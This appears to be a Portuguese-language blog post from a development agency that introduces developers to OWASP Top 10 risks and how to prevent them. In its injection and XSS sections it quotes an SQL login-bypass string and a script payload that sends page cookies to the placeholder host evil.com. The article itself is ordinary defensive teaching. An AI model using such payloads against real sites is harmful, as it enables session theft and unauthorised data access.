A maioria das vulnerabilidades exploradas em produção não é sofisticada — é resultado de falhas conhecidas que poderiam ser evitadas com práticas básicas. O OWASP Top 10 documenta as dez categorias de riscos mais críticas em aplicações web. Todo desenvolvedor deveria conhecê-las e saber como se proteger.
Injection: a falha mais perigosa
SQL Injection permite que atacantes executem queries arbitrárias no seu banco de dados. Um campo de login vulnerável aceita input como ' OR 1=1 -- e retorna todos os usuários. A prevenção é simples: use prepared statements e parameterized queries sempre. Nunca concatene input do usuário diretamente em queries SQL. ORMs modernos como Prisma, SQLAlchemy e Eloquent fazem isso por padrão — use-os.
Injection não se limita a SQL. Command injection, LDAP injection e XPath injection seguem o mesmo princípio: dados não sanitizados do usuário são interpretados como comandos. A regra universal é: trate todo input externo como potencialmente malicioso.
Broken Authentication
Autenticação mal implementada é porta aberta para invasores. Problemas comuns incluem: senhas armazenadas em texto plano ou com hash fraco como MD5, ausência de proteção contra brute force, tokens de sessão previsíveis, e falta de multi-factor authentication para operações sensíveis. Use bcrypt ou Argon2 para hash de senhas, implemente rate limiting em endpoints de login, e adote bibliotecas de autenticação maduras como NextAuth, Passport.js ou Django Auth em vez de inventar a sua.
Cross-Site Scripting (XSS)
XSS permite que atacantes injetem scripts maliciosos em páginas visualizadas por outros usuários. O ataque clássico: um comentário contendo <script>document.location='https://evil.com/steal?'+document.cookie</script> rouba cookies de todos que visualizam a página. Prevenção: escape todo output HTML por padrão, use Content Security Policy headers, e frameworks modernos como React e Vue escapam automaticamente — mas cuidado com dangerouslySetInnerHTML e v-html.
Insecure Direct Object References (IDOR)
IDOR acontece quando um usuário altera um ID na URL e acessa dados de outro usuário. Exemplo: /api/users/123/documentos funciona para seu ID, mas trocar para /api/users/456/documentos mostra dados de outra pessoa. Sempre valide que o usuário autenticado tem permissão para acessar o recurso solicitado. Implementar autorização por recurso, não apenas autenticação, é fundamental.
Security Misconfiguration
Configurações padrão inseguras são uma das causas mais comuns de breaches. Headers de segurança ausentes (HSTS, X-Frame-Options, X-Content-Type-Options), debug mode habilitado em produção, credenciais padrão não alteradas, e portas desnecessárias expostas. Use ferramentas como securityheaders.com e Mozilla Observatory para auditar seus headers. Em produção, debug deve estar sempre desabilitado, stack traces nunca devem ser expostos ao usuário, e cada serviço deve ter apenas as permissões mínimas necessárias.
Dependências vulneráveis
Seu app é tão seguro quanto sua dependência mais vulnerável. Use npm audit, pip-audit ou Snyk para verificar vulnerabilidades conhecidas em suas dependências regularmente. Automatize isso na pipeline de CI/CD para que nenhum código com vulnerabilidades conhecidas chegue a produção. Mantenha dependências atualizadas e remova as que não são mais utilizadas — cada pacote é uma superfície de ataque potencial.
Segurança não é um feature que você adiciona no final — é uma prática que permeia todo o processo de desenvolvimento. Comece pelos itens mais simples (prepared statements, escape de output, headers de segurança) e vá aprofundando conforme a maturidade do time cresce.
Tem um projeto em mente?
Somos especialistas em transformar ideias em produtos digitais. Apps, sites, automações e IA — vamos construir juntos.